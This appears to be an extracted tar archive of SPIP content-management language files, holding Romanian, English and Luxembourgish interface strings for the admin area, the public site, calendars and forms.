'texte_login_ldap_1' => '(Lăsaţi gol pentru un acces anonim, sau introduceţi o cale completă, de exemplu: « <tt>uid=ionescu, ou=utilizatori, dc=domeniul-meu, dc=ro</tt> ».)',
'texte_login_precaution' => 'Atenţie ! Acesta este login-ul cu care sunteţi conectat acum.
Utilizaţi acest formular cu precauţie...',
'texte_message_edit' => 'Atenţie ! acest mesaj poate fi modificat de către toţi administratorii site-ului, şi este vizibil la toţi redactorii. Nu utilizaţi anunţurile decât pentru a expune evenimente importante din viaţa site-ului.',
'texte_messagerie_agenda' => 'O mesagerie permite redactorilor site-ului să comunice între ei direct în spaţiul privat al site-ului. O mesagerie este asociată unei agende.',
'texte_mise_a_niveau_base_1' => 'Tocmai aţi adus la zi fişierele SPIP.
Trebuie ca acum să aduceţi la zi şi baza de date a site-ului.',
'texte_modifier_article' => 'Modificaţi articolul :',
'texte_moteur_recherche_active' => '<b>Motorul de căutare este activat.</b> Utilizaţi această comandă dacă doriţi să faceţi o reindexare rapidă (de exemplu, după o restaurare dintr-o salvare). Vă rugăm să luaţi aminte că documentele
modificate în mod normal (adică cu ajutorul interfeţei SPIP) sunt în mod automat
reindexate : aşadar, această comandă nu este utilă decât în mod excepţional.',
'texte_moteur_recherche_non_active' => 'Motorul de căutare nu este activat.',
'texte_multilinguisme' => 'Dacă doriţi să gestionaţi articole în mai multe limbi, cu o navigare complexă, puteţi să adăugaţi un meniu de selectare a limbii pentru articole şi/sau rubrici, în funcţie de organizarea site-ului dumneavoastră.', # MODIF
'texte_multilinguisme_trad' => 'Puteţi, de asemenea, să activaţi sistemul de gestiune a legăturilor între diferitele traduceri ale unui articol.', # MODIF
'texte_non_compresse' => '<i>necomprimat</i> (server-ul dumneavoastră nu suportă această funcţionalitate)',
'texte_nouveau_message' => 'Mesaj nou',
'texte_nouvelle_version_spip_1' => 'Aţi instalat o nouă versiune SPIP.',
'texte_nouvelle_version_spip_2' => 'Această nouă versiune necesită o aducere la zi mai completă decât în mod obişnuit. Dacă sunteţi webmaster-ul site-ului, vă rugam să ştergeţi fişierul @connect@ şi să reluaţi instalarea de la capăt pentru a permite aducerea la zi a parametrilor dumneavoastră de conectare la baza de date.
(Nota Bene : dacă cumva aţi uitat parametrii de conectare, aruncaţi o privire la fişierul @connect@ înainte de a-l şterge...)', # MODIF
'texte_operation_echec' => 'Întoarceţi-vă la pagina anterioară, selecţionazi o altă bază de date sau creaţi una nouă. Verificaţi informaţiile date de furnizorul dumneavoastră de hosting.',
'texte_plus_trois_car' => 'mai mult de 3 caractere',
'texte_plusieurs_articles' => 'Mai multe articole găsite pentru "@cherche_auteur@":',
'texte_port_annuaire' => '(Valoarea implicită este în general cea bună.)',
'texte_presente_plugin' => 'Această pagină conţine lista plugin-urilor disponibile pentru acest site. Puteţi să activaţi plugin-urile necesare bifând căsuţa corespunzătoare.',
'texte_proposer_publication' => 'Când articolul dumneavoastră este terminat,<br />puteţi să-l propuneţi pentru publicare.',
'texte_proxy' => 'În anumite cazuri (intranet, reţea protejată, ş.a.m.d.), site-urile distante (documentaţia SPIP, site-uri sindicalizate, etc.) nu pot fi accesibile decât print-run <i>proxy HTTP</i>. Vă rugăm să indicaţi mai jos adresa proxy-ului sub forma @proxy_en_cours@. În general, puteţi lăsa acest câmp gol.',
'texte_publication_articles_post_dates' => 'Ce comportament trebuie să adopte SPIP în ceea ce priveşte articolele
a căror dată de publicare a fost fixată în viitor ?',
'texte_rappel_selection_champs' => '[Nu uitaţi să selecţionaţi corect acest câmp.]',
'texte_recalcul_page' => 'Dacă doriţi recalcularea unei singure pagini
treceţi mai degrabă în spaţiul public şi utilizaţi butonul « recalculează ».',
'texte_recapitiule_liste_documents' => 'Această pagină recapitulează lista documentelor pe care le-aţi plasat direct în interiorul rubricilor. Pentru a modifica informaţiile fiecărui document, urmăriţi legătura către pagina rubricii corespunzătoare.',
'texte_recuperer_base' => 'Reparaţi baza de date',
'texte_reference_mais_redirige' => 'articol referenţiat în site-ul dumneavoastră, dar redirijat către un alt URL.',
'texte_requetes_echouent' => '<b>Atunci când anumite cereri SQL eşuează în mod sistematic şi fără un motiv evident, este posibil ca baza de date însăşi să fie cauza.</b>
Server-ul dumneavoastră SQL dispune de o capacitate de reparare a tabelelor sale atunci când acestea s-au stricat în mod accidental.
Puteţi încerca aici această reparare ; în caz de eşec, conservaţi o copie de ecran, care poate că conţine indicii referitor la ceea ce nu merge...
Dacă problema persistă, vă rugăm să-l contactaţi pe furnizorul dumneavoastră de hosting.', # MODIF
'texte_selection_langue_principale' => 'Puteţi să selecţionaţi aici « limba principală » a site-ului. Această alegere nu vă obligă - din fericire ! - să scrieţi articolele în limba selecţionată, dar permite determinarea :
<ul><li> formatul implicit al afişării datelor pe site-ul public;</li>
<li> natura motorului tipografic pe care SPIP îl foloseşte pentru afişarea site-ului public;</li>
<li> limba folosită în formularele site-ului public;</li>
<li> limba implicită în spaţiul privat.</li></ul>',
'texte_sous_titre' => 'Sub-titlu',
'texte_statistiques_visites' => '(barele întunecate : duminicile / curba întunecată : evoluţia mediei)',
'texte_statut_attente_validation' => 'în aşteptarea validării',
'texte_statut_publies' => 'publicate în direct',
'texte_statut_refuses' => 'refuzate',
'texte_suppression_fichiers' => 'Utilizaţi această comandă pentru a şterge toate fişierele prezente în tamponul SPIP. Aceasta permite, de exemplu, forţarea unui recalcul al tuturor paginilor dacă aţi făcut modificări importante de grafică sau structură a site-ului
avez fait des modifications importantes de graphisme ou de structure du site.',
'texte_sur_titre' => 'Supra-titlu',
'texte_table_ok' => ': această tabelă este OK.',
'texte_tables_indexation_vides' => 'Tabelele de indexare ale motorului sunt goale.',
'texte_tentative_recuperation' => 'Tentativă de recuperare',
'texte_tenter_reparation' => 'Încercaţi o reparare a bazei de date',
'texte_test_proxy' => 'Pentru a încerca acest proxy, indicaţi aici adresa unui site Web
pe care doriţi să-l testaţi.',
'texte_titre_02' => 'Titlu :',
'texte_titre_obligatoire' => '<b>Titlu</b> [Obligatoriu]',
'texte_travail_article' => '@nom_auteur_modif@ a lucrat pe acest articol acum @date_diff@ minute',
'texte_travail_collaboratif' => 'Dacă este frecvent ca mai mulţi redactori
să muncească pe acelaşi articol, sistemul
poate afişa articolele « deschise » recent
pentru a evita modificări simultane ale aceluiaşi articol.
Această opţiune este dezactivată în mod implicit
pentru a evita afişarea de mesaje intempensive de avertisment.',
'texte_trop_resultats_auteurs' => 'Prea multe rezultate pentru "@cherche_auteur@" ; vă rugăm să rafinaţi termenii căutării.',
'texte_unpack' => 'descărcarea ultimei versiuni',
'texte_utilisation_moteur_syndiques' => 'Atunci când folosiţi motorul de căutare integrat
în SPIP, puteţi efectua căutari în articolele şi site-urile sindicalizate cu două metode diferite
- Prima şi cea mai simplă consistă în căutarea doar în titlurile şi descrierile articolelor.
- A doua metodă, mult mai puternică, permite lui SPIP să caute deasemenea în textul site-urilor referenţiate. Când referenţiati un site, SPIP va efectua căutarea în chiar textul site-ului respectiv.',
'texte_utilisation_moteur_syndiques_2' => 'Această metodă forţează SPIP să viziteze
de o maniera regulată site-urile referenţiate,
ceea ce poate provoca o uşoară încetinire a propriului dumneavoastră site.',
'texte_vide' => 'gol',
'texte_vider_cache' => 'Goliţi tamponul',
'titre_admin_effacer' => 'Întreţinere tehnică',
'titre_admin_tech' => 'Întreţinere tehnică',
'titre_admin_vider' => 'Întreţinere tehnică',
'titre_cadre_afficher_article' => 'Afişaţi articolele',
'titre_cadre_afficher_traductions' => 'Afişaţi starea traducerilor pentru limbile următoare :',
'titre_cadre_ajouter_auteur' => 'ADĂUGAŢI UN AUTOR :',
'titre_cadre_interieur_rubrique' => 'În interiorul rubricii',
'titre_cadre_numero_auteur' => 'AUTOR NUMĂRUL',
'titre_cadre_signature_obligatoire' => '<b>Semnătura</b> [Obligatorie]
',
'titre_config_contenu_notifications' => 'Notificări',
'titre_config_contenu_prive' => 'În spaţiul privat',
'titre_config_contenu_public' => 'Pe site-ul public',
'titre_config_fonctions' => 'Configuraţia site-ului',
'titre_configuration' => 'Configuraţia site-ului',
'titre_conflit_edition' => 'Conflict în timpul editării',
'titre_connexion_ldap' => 'Opţiuni : <b>Conexiunea dumneavoastră LDAP</b>',
'titre_groupe_mots' => 'GRUP DE CUVINTE :',
'titre_langue_article' => 'LIMBA ARTICOLULUI', # MODIF
'titre_langue_rubrique' => 'LIMBA RUBRICII', # MODIF
'titre_langue_trad_article' => 'LIMBA ŞI TRADUCERILE ARTICOLULUI',
'titre_les_articles' => 'ARTICOLELE',
'titre_messagerie_agenda' => 'Mesagerie şi agendă',
'titre_naviguer_dans_le_site' => 'Navigaţi în structura site-ului...',
'titre_nouvelle_rubrique' => 'Rubrică nouă',
'titre_numero_rubrique' => 'RUBRICA NUMĂRUL :',
'titre_page_admin_effacer' => 'Întreţinere tehnică : ştergeţi baza de date',
'titre_page_articles_edit' => 'Modificaţi : @titre@',
'titre_page_articles_page' => 'Articolele',
'titre_page_articles_tous' => 'Tot site-ul',
'titre_page_auteurs' => 'Vizitatori',
'titre_page_calendrier' => 'Calendar @nom_mois@ @annee@',
'titre_page_config_contenu' => 'Configuraţia site-ului',
'titre_page_config_fonctions' => 'Configuraţia site-ului',
'titre_page_configuration' => 'Configuraţia site-ului',
'titre_page_controle_petition' => 'Urmărirea petiţiilor',
'titre_page_delete_all' => 'ştergere totală şi ireversibilă',
'titre_page_documents_liste' => 'Documentele rubricilor',
'titre_page_index' => 'Spaţiul dumneavoastră privat',
'titre_page_message_edit' => 'Scrieţi un mesaj',
'titre_page_messagerie' => 'Mesageria dumneavoastră',
'titre_page_recherche' => 'Rezultatele căutării @recherche@',
'titre_page_statistiques_referers' => 'Statistici (legături în intrare)',
'titre_page_statistiques_signatures_jour' => 'Număr de semnături pe zi',
'titre_page_statistiques_signatures_mois' => 'Număr de semnături pe lună',
'titre_page_upgrade' => 'Actualizaţi SPIP',
'titre_publication_articles_post_dates' => 'Publicarea articolelor post-datate',
'titre_referencer_site' => 'Referenţiaţi site-ul :',
'titre_rendez_vous' => 'ÎNTÂLNIRE :',
'titre_reparation' => 'Reparare',
'titre_suivi_petition' => 'Urmărirea petiţiilor',
'tls_ldap' => 'Transport Layer Security :',
'trad_article_inexistant' => 'Nu există un articol care să aibă acest numar.',
'trad_article_traduction' => 'Toate versiunile acestui articol :',
'trad_deja_traduit' => 'Eroare: nu se poate lega acest articol la numărul cerut.',
'trad_delier' => 'Nu mai legaţi articolul de aceste traduceri', # MODIF
'trad_lier' => 'Acest articol este o traducere a articolului cu numărul :',
'trad_new' => 'Scrieţi o nouă traducere a acestui articol', # MODIF
// U
'upload_info_mode_document' => 'Depuneţi această imagine în portofoliu',
'upload_info_mode_image' => 'Retrageţi această imagine din portofoliu',
'utf8_convert_attendez' => 'Aşteptaţi câteva momente şi reîncărcaţi această pagină.',
'utf8_convert_avertissement' => 'Puteţi să convertiţi conţinutul bazei dumneavoastră de date (articole, ştiri, etc.) din codarea <b>@orig@</b> catre codarea <b>@charset@</b>.',
'utf8_convert_backup' => 'Nu uitaţi să faceţi înainte de orice o copie de siguranţă a totalităţii site-ului dumneavoastră. Va trebui, de asemenea, să verificaţi că scheletele şi fişierele de limbă sunt compatibile @charset@.',
'utf8_convert_erreur_deja' => 'Site-ul dumneavoastră este deja în @charset@, conversia e inutilă ...',
'utf8_convert_erreur_orig' => 'Eroare : codarea @charset@ nu este suportată.',
'utf8_convert_termine' => 'Gata !',
'utf8_convert_timeout' => '<b>Important :</b> în caz de <i>timeout</i> al server-ului de web, vă rugăm să reîncărcaţi această pagină până când aceasta vă va indica « terminat ».',
'utf8_convert_verifier' => 'Va trebui ca acum să goliţi memoria tampon şi să verificaţi că totul se petrece bine în cadrul site-ului public. În caz de probleme majore, o copie de siguranţă a fost efectuată (în format SQL) în directorul @rep@.',
'utf8_convertir_votre_site' => 'Convertiţi site-ul dumneavoastră în utf-8',
// V
'version' => 'Versiune :'
);
?>
public_en.php 0000666 00000007050 15252547432 0007234 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/public?lang_cible=en
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// A
'accueil_site' => 'Home',
'article' => 'Article',
'articles' => 'Articles',
'articles_auteur' => 'Articles by this author',
'articles_populaires' => 'Most popular articles',
'articles_rubrique' => 'Articles in this section',
'aucun_article' => 'No articles here',
'aucun_auteur' => 'No authors here',
'aucun_site' => 'No links here',
'aucune_breve' => 'No news items here',
'aucune_rubrique' => 'No sections here',
'auteur' => 'Author',
'autres' => 'Others',
'autres_breves' => 'Other news',
'autres_groupes_mots_clefs' => 'Other groups of keywords',
'autres_sites' => 'Other websites',
// B
'bonjour' => 'Hello',
// C
'commenter_site' => 'Comment on this site',
'contact' => 'Contact',
'copie_document_impossible' => 'Impossible to copy this document',
// D
'date' => 'Date',
'dernier_ajout' => 'Latest update',
'dernieres_breves' => 'Latest news',
'derniers_articles' => 'Latest articles',
'derniers_commentaires' => 'Latest comments',
'derniers_messages_forum' => 'Latest forum posts',
// E
'edition_mode_texte' => 'Text mode only',
'en_reponse' => 'Replying to:',
'en_resume' => 'Summary',
'envoyer_message' => 'Send a message',
'espace_prive' => 'Private area',
// F
'formats_acceptes' => 'Valid formats: @formats@.',
// H
'hierarchie_site' => 'Site map',
// J
'jours' => 'days',
// L
'lien_connecter' => 'Log in',
// M
'meme_auteur' => 'By the same author',
'meme_rubrique' => 'Also in this section',
'memes_auteurs' => 'By the same authors',
'message' => 'Message',
'messages_forum' => 'Forum posts',
'messages_recents' => 'Most recent forum posts',
'mots_clef' => 'Keyword',
'mots_clefs' => 'Keywords',
'mots_clefs_meme_groupe' => 'Other keywords in this group',
// N
'navigation' => 'Browsing',
'nom' => 'Name',
'nouveautes' => 'What’s new',
'nouveautes_web' => 'What’s new on the Web',
'nouveaux_articles' => 'New articles',
'nouvelles_breves' => 'Latest news items',
// P
'page_precedente' => 'previous page',
'page_suivante' => 'next page',
'par_auteur' => 'by ',
'participer_site' => 'You can take active part in this website and write your own articles by signing up here. You will receive an email with your account information for the private area of the site.',
'plan_site' => 'Site Map',
'popularite' => 'Popularity',
'poster_message' => 'Post a message',
'proposer_site' => 'You can suggest a website for inclusion in this section:',
// R
'repondre_article' => 'Comment on this article',
'repondre_breve' => 'Comment on this news item',
'resultats_recherche' => 'Search results',
'retour_debut_forums' => 'Back to forum top',
'rubrique' => 'Section',
'rubriques' => 'Sections',
// S
'signatures_petition' => 'Signatures',
'site_realise_avec_spip' => 'Site powered by SPIP',
'sites_web' => 'Websites',
'sous_rubriques' => 'Subsections',
'spam' => 'Spam',
'suite' => 'continue',
'sur_web' => 'Around the Web',
'syndiquer_rubrique' => 'Subscribe to this section',
'syndiquer_site' => 'Subscribe to the whole site',
// T
'texte_lettre_information' => 'Here is the site newsletter',
'texte_lettre_information_2' => 'This site contains news items published since',
// V
'ver_imprimer' => 'Printable version',
'voir_en_ligne' => 'View online',
'voir_squelette' => 'show the template of this page'
);
?>
index.php 0000666 00000000002 15252547432 0006371 0 ustar 00 X
spip_lb.php 0000666 00000111300 15252547432 0006716 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/spip?lang_cible=lb
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// 0
'0_URL' => 'http://listes.rezo.net/mailman/listinfo/spip-lb',
'0_langue' => 'Lëtzebuergesch [lb]',
'0_liste' => 'spip-lb@rezo.net',
'0_mainteneur' => 'jim.wanderscheid bei gmail Punkt com',
// A
'access_interface_graphique' => 'Zeréck bei de komplette grapheschen Interface',
'access_mode_texte' => 'Vereinfachten Text-Interface weisen',
'admin_debug' => 'debug',
'admin_modifier_article' => 'Dësen Artikel änneren',
'admin_modifier_auteur' => 'Dësen Auteur änneren',
'admin_modifier_breve' => 'Dës Kuerzmeldung änneren',
'admin_modifier_mot' => 'Dëst Schlësselwuert änneren',
'admin_modifier_rubrique' => 'Dës Rubrik änneren',
'admin_recalculer' => 'Dës Säit nei rechnen',
'afficher_calendrier' => 'Kalenner weisen',
'afficher_trad' => 'Iwwersetzunge weisen',
'alerte_maj_impossible' => '<b>Alarm!</b> Den Update vun der SQL-Datekank op d’Versioun @version@ ass onméiglech, villäicht wéint engem Problem mat de Verännerungs-Rechter vun der Datebank. Kontaktéiert w.e.g. äre Provider.',
'alerte_modif_info_concourante' => 'OPGEPASST: Dës Informatioun ass geännert ginn. Déi aktuell Valeur ass:',
'analyse_xml' => 'XML-Analyse',
'annuler' => 'Ofbriechen',
'antispam_champ_vide' => 'Loosst dëst Feld eidel:',
'articles_recents' => 'Déi rezent Artikelen',
'avis_archive_incorrect' => 'de Backup-Fichier ass kee SPIP-Fichier',
'avis_archive_invalide' => 'de Backup-Fichier ass ongülteg',
'avis_attention' => 'OPGEPASST!',
'avis_champ_incorrect_type_objet' => 'Falsche Feldnumm @name@ fir en Objet vum Typ @type@',
'avis_colonne_inexistante' => 'D’Kolonn @col@ existéiert net',
'avis_erreur' => 'Fehler: kuckt hei driwwer',
'avis_erreur_connexion' => 'Verbindungs-Fehler',
'avis_erreur_cookie' => 'Problem mat dem Cookie',
'avis_erreur_fonction_contexte' => 'Programm-Fehler. Dës Fonctioun däerf net an dësem Kontext opgeruff ginn.',
'avis_erreur_mysql' => 'SQL-Fehler',
'avis_erreur_sauvegarde' => 'Fehler am Backup (@type@ @id_objet@)!',
'avis_erreur_visiteur' => 'Zougangs-Problem zum privaten Deel',
// B
'barre_a_accent_grave' => 'E groussen A accent grave afügen',
'barre_aide' => 'Benotzt dës typografesch Ofkierzungen fir äre Layout ze verbesseren',
'barre_e_accent_aigu' => 'E groussen E accent aigu afügen',
'barre_eo' => 'E verbonnenen oe afügen',
'barre_eo_maj' => 'E grousse verbonnenen OE afügen',
'barre_euro' => 'En €-Symbol afügen',
'barre_gras' => '{{Fett}} maachen',
'barre_guillemets' => 'Tëschent franséisch Anführungszeeche setzen',
'barre_guillemets_simples' => 'Tëschent däitsch Anführungszeeche setzen',
'barre_intertitre' => 'An eng {{{Iwwerschrëft}}} änneren',
'barre_italic' => '{Kursiv} maachen',
'barre_lien' => 'An e [Link->http://...] änneren',
'barre_lien_input' => 'Gidd d’Adress vum Link un (dir kënnt eng Internet-Adress ënner der Form http://www.site.lu/asw oder einfach d’Nummer vun engem Artikel vun dësem Site uginn.',
'barre_note' => 'An eng [[Foussnout]] änneren',
'barre_paragraphe' => 'Abschnitt bäiflécken',
'barre_quote' => '<quote>Citatioun</quote> vun engem Text',
'bouton_changer' => 'Änneren',
'bouton_chercher' => 'Sichen',
'bouton_choisir' => 'Auswielen',
'bouton_deplacer' => 'Réckelen',
'bouton_download' => 'Eroflueden',
'bouton_enregistrer' => 'Späicheren',
'bouton_radio_desactiver_messagerie_interne' => 'Déi intern Messagerie ausschalten',
'bouton_radio_envoi_annonces' => 'Editorial Annoncen schécken',
'bouton_radio_non_envoi_annonces' => 'Keng Neiegkeeten schécken',
'bouton_radio_non_envoi_liste_nouveautes' => 'Keng Lëscht vun de Neiegkeeten schécken',
'bouton_recharger_page' => 'dës Säit nei lueden',
'bouton_telecharger' => 'Eroflueden',
'bouton_upload' => 'Eroplueden',
'bouton_valider' => 'Bestätegen',
// C
'cal_apresmidi' => 'Nomëtteg',
'cal_jour_entier' => 'Ganzen Dag',
'cal_matin' => 'Mueres',
'cal_par_jour' => 'Kalenner vum Dag',
'cal_par_mois' => 'Kalenner vum Mount',
'cal_par_semaine' => 'Kalenner vun der Woch',
'choix_couleur_interface' => 'Faarf',
'choix_interface' => 'Wiel vum Interface',
'colonne' => 'Kolonn',
'confirm_changer_statut' => 'Opgepasst, dir wëllt den Zoustand vun dësem Element änneren. Wëllt dir weiderfueren?',
'correcte' => 'richteg',
// D
'date_aujourdhui' => 'haut',
'date_avant_jc' => 'virun J.C.',
'date_dans' => 'an @delai@',
'date_de_mois_1' => '@j@. @nommois@',
'date_de_mois_10' => '@j@. @nommois@',
'date_de_mois_11' => '@j@. @nommois@',
'date_de_mois_12' => '@j@. @nommois@',
'date_de_mois_2' => '@j@. @nommois@',
'date_de_mois_3' => '@j@. @nommois@',
'date_de_mois_4' => '@j@. @nommois@',
'date_de_mois_5' => '@j@. @nommois@',
'date_de_mois_6' => '@j@. @nommois@',
'date_de_mois_7' => '@j@. @nommois@',
'date_de_mois_8' => '@j@. @nommois@',
'date_de_mois_9' => '@j@. @nommois@',
'date_demain' => 'muer',
'date_fmt_heures_minutes' => '@h@h@m@min',
'date_fmt_heures_minutes_court' => '@h@h@m@',
'date_fmt_jour' => '@nomjour@ @jour@',
'date_fmt_jour_heure' => '@jour@ um @heure@',
'date_fmt_jour_heure_debut_fin' => '@jour@ vu @heure_debut@ bis @heure_fin@ Auer',
'date_fmt_jour_heure_debut_fin_abbr' => '@dtstart@@jour@ vu @heure_debut@@dtabbr@ bis @dtstart@@heure_fin@@dtend@',
'date_fmt_jour_mois' => '@jour@. @nommois@',
'date_fmt_jour_mois_annee' => '@jour@. @nommois@ @annee@',
'date_fmt_mois_annee' => '@nommois@ @annee@',
'date_fmt_nomjour' => '@nomjour@ @date@',
'date_fmt_nomjour_date' => '@nomjour@, den @date@',
'date_fmt_periode' => 'Vum @date_debut@. bis den @date_fin@.',
'date_fmt_periode_abbr' => 'Vum @dtart@@date_debut@@dtabbr@. bis den @dtend@@date_fin@@dtabbr@.',
'date_fmt_periode_from' => 'Vum',
'date_fmt_periode_to' => 'bis den',
'date_heures' => 'Stonnen',
'date_hier' => 'gëschter',
'date_il_y_a' => 'virun @delai@',
'date_jnum1' => '1',
'date_jnum10' => '10',
'date_jnum11' => '11',
'date_jnum12' => '12',
'date_jnum13' => '13',
'date_jnum14' => '14',
'date_jnum15' => '15',
'date_jnum16' => '16',
'date_jnum17' => '17',
'date_jnum18' => '18',
'date_jnum19' => '19',
'date_jnum2' => '2',
'date_jnum20' => '20',
'date_jnum21' => '21',
'date_jnum22' => '22',
'date_jnum23' => '23',
'date_jnum24' => '24',
'date_jnum25' => '25',
'date_jnum26' => '26',
'date_jnum27' => '27',
'date_jnum28' => '28',
'date_jnum29' => '29',
'date_jnum3' => '3',
'date_jnum30' => '30',
'date_jnum31' => '31',
'date_jnum4' => '4',
'date_jnum5' => '5',
'date_jnum6' => '6',
'date_jnum7' => '7',
'date_jnum8' => '8',
'date_jnum9' => '9',
'date_jour_1' => 'Sonndeg',
'date_jour_1_abbr' => 'Son.',
'date_jour_1_initiale' => 'S',
'date_jour_2' => 'Méindeg',
'date_jour_2_abbr' => 'Méi.',
'date_jour_2_initiale' => 'M',
'date_jour_3' => 'Dënschdeg',
'date_jour_3_abbr' => 'Dën.',
'date_jour_3_initiale' => 'D',
'date_jour_4' => 'Mëttwoch',
'date_jour_4_abbr' => 'Mët.',
'date_jour_4_initiale' => 'M',
'date_jour_5' => 'Donneschdeg',
'date_jour_5_abbr' => 'Don.',
'date_jour_5_initiale' => 'D',
'date_jour_6' => 'Freideg',
'date_jour_6_abbr' => 'Fre.',
'date_jour_6_initiale' => 'F',
'date_jour_7' => 'Samschdeg',
'date_jour_7_abbr' => 'Sam.',
'date_jour_7_initiale' => 'S',
'date_jours' => 'Deeg',
'date_minutes' => 'Minutten',
'date_mois' => 'Méint',
'date_mois_1' => 'Januar',
'date_mois_10' => 'Oktober',
'date_mois_10_abbr' => 'Okt.',
'date_mois_11' => 'November',
'date_mois_11_abbr' => 'Nov.',
'date_mois_12' => 'Dezember',
'date_mois_12_abbr' => 'Dez.',
'date_mois_1_abbr' => 'Jan.',
'date_mois_2' => 'Februar',
'date_mois_2_abbr' => 'Feb.',
'date_mois_3' => 'März',
'date_mois_3_abbr' => 'März',
'date_mois_4' => 'Abrël',
'date_mois_4_abbr' => 'Abr.',
'date_mois_5' => 'Mee',
'date_mois_5_abbr' => 'Mee',
'date_mois_6' => 'Juni',
'date_mois_6_abbr' => 'Juni',
'date_mois_7' => 'Juli',
'date_mois_7_abbr' => 'Juli',
'date_mois_8' => 'August',
'date_mois_8_abbr' => 'Aug.',
'date_mois_9' => 'September',
'date_mois_9_abbr' => 'Sep.',
'date_saison_1' => 'Wanter',
'date_saison_2' => 'Fréijor',
'date_saison_3' => 'Summer',
'date_saison_4' => 'Hierscht',
'date_secondes' => 'Sekonnen',
'date_semaines' => 'Wochen',
'date_un_mois' => 'Mount',
'date_une_heure' => 'Stonn',
'date_une_minute' => 'Minutt',
'date_une_seconde' => 'Sekonn',
'date_une_semaine' => 'Woch',
'dirs_commencer' => ' fir d’Installatioun richteg unzefänken',
'dirs_preliminaire' => 'Fir d’éischt: <b>Regléiert d’Zougangsberechtegung</b>',
'dirs_probleme_droits' => 'Problem mat der Zougangsberechtegung',
'dirs_repertoires_absents' => '<p><b>Dës Dossieren konnten net fonnt ginn:</b></p><ul>@bad_dirs@.</ul>
<p>Wahrscheinlech ass et e Problem vu grouss- oder kleng-schreiwen.
Kontrolléiert op déi grouss an déi kleng Buschtawen mat deem wat hei ugewisen gëtt iwwerteneestëmmen;
wann dat net de Fall ass, ännert de Numm vun den Dossieren mat ärem FTP-Client fir de Fehler ze verbesseren.
<p>Wann dat gemaach ass, da kënnt dier',
'dirs_repertoires_suivants' => '<p><b>Dës Dossieren kënnen net beschriwwe ginn:</b></p><ul>@bad_dirs@.</ul>
<p>Fir dat ze verbesseren, benotzt ären FTP-Client fir d’Zougangsberechtegung vu jidder Dossier anzestellen.
Dës Prozedur ass am Detail am Installatiouns-Guide beschriwwen.<p>
<p>Wann dat gemaach ass, da kënnt dier ',
'double_occurrence' => '@balise@ ass duebel',
// E
'en_cours' => 'am gaangen',
'envoi_via_le_site' => 'Via äre Site schécken',
'erreur' => 'Fehler',
'erreur_balise_non_fermee' => 'Läschten Tag dee net zou ass:',
'erreur_technique_ajaxform' => 'Oeps. Een onverwachte fout weerhield hem van het formulier indienen. U kunt het opnieuw proberen.', # RELIRE
'erreur_technique_enregistrement_champs' => 'En technesche Problem verhënnert d’Späichere vum Feld @champs@.',
'erreur_technique_enregistrement_impossible' => 'En technesche Problem verhënnert d’Späicheren.',
'erreur_texte' => 'Fehler(en)',
'etape' => 'Schrëtt',
// F
'fichier_introuvable' => 'De Fichier @fichier@ ka net fonnt ginn',
'form_auteur_confirmation' => 'Bestätegt är Email-Adress.',
'form_auteur_email_modifie' => 'Är Email-Adress ass geännert.',
'form_auteur_envoi_mail_confirmation' => 'En Email ass un @email@ geschéckt ginn. Dir musst op d’URL surfen déi an deem Email steet fir är Email-Adress ze bestätegen.',
'form_auteur_mail_confirmation' => 'Bonjour,
Dir wëllt är Email-Adress ze änneren.
Fir är nei Adress ze bestätegen, surft op dës URL (soss gëtt är Ufro ignoréiert):
@url@
',
'form_deja_inscrit' => 'Dir sidd schonns ugemellt.',
'form_email_non_valide' => 'Är Email-Adress ass net richteg.',
'form_forum_access_refuse' => 'Dir hutt keen Zougang méi zu dësem Site.',
'form_forum_bonjour' => 'Bonjour @nom@,',
'form_forum_confirmer_email' => 'Fir är Email-Adress ze bestätegen, surft op dës URL: @url_confirm@',
'form_forum_email_deja_enregistre' => 'Dës Email-Adress ass schonns ageschriwwen, dir kënnt also äert normaalt Passwuert benotzen.',
'form_forum_identifiant_mail' => 'Äre neie Login gouf Iech elo grad per Email geschéckt.',
'form_forum_identifiants' => 'Perséinlech Identifikatioun',
'form_forum_indiquer_nom_email' => 'Gidd hei äre Numm an är Email-Adress un. Äre perséinlechen Login kritt der per Email geschéckt.',
'form_forum_login' => 'Login:',
'form_forum_message_auto' => '(dëst ass eng automatesch Äntwert)',
'form_forum_pass' => 'Passwuert:',
'form_forum_probleme_mail' => 'Problem mam Email: de Login ka net verschéckt ginn.',
'form_forum_voici1' => 'Hei ass är Identifikatioun fir beim Site "@nom_site_spip@" (@adresse_site@) matzemaachen:',
'form_forum_voici2' => 'Hei ass är Identifikatioun fir Artikelen um Site "@nom_site_spip@" (@adresse_login@) virzeschloen:',
'form_indiquer_email' => 'Gidd w.e.g. är Email-Adress un.',
'form_indiquer_nom' => 'Gidd w.e.g. äre Numm un.',
'form_indiquer_nom_site' => 'Gidd w.e.g. de Numm vun ärem Site un.',
'form_pet_deja_enregistre' => 'Dëse Site ass schonns ageschriwwen',
'form_pet_signature_pasprise' => 'Är Ënnerschrëft ass net ugeholl ginn.',
'form_prop_confirmer_envoi' => 'Konfirméiert d’Schécken',
'form_prop_description' => 'Beschreiwung/Kommentar',
'form_prop_enregistre' => 'Är Propositioun ass enregistréiert, si geet online wann se vun engem Responsabelen vun dësem Site bestätegt ass.',
'form_prop_envoyer' => 'E Message schécken',
'form_prop_indiquer_email' => 'Gidd w.e.g. eng richteg Email-Adress un',
'form_prop_indiquer_nom_site' => 'Gidd w.e.g. de Numm vum Site un.',
'form_prop_indiquer_sujet' => 'Gidd w.e.g. eng Iwwerschrëft un',
'form_prop_message_envoye' => 'Message geschéckt',
'form_prop_non_enregistre' => 'Äre Virschlag ass net enregistréiert ginn.',
'form_prop_sujet' => 'Iwwerschrëft',
'form_prop_url_site' => 'Adress (URL) vum Site',
'forum_non_inscrit' => 'Dir sidd net ugemellt, oder d’Adress oder d’Passwuert ass falsch.',
'forum_par_auteur' => 'No @auteur@',
'forum_titre_erreur' => 'Fehler...',
// I
'ical_texte_rss_articles' => 'Den RSS-Fichier vun den Artikele vun dësem Site ass op der Adress:',
'ical_texte_rss_articles2' => 'Dir kënnt och RSS-Fichieren fir d’Artikele vun all Rubrik vum Site kréien:',
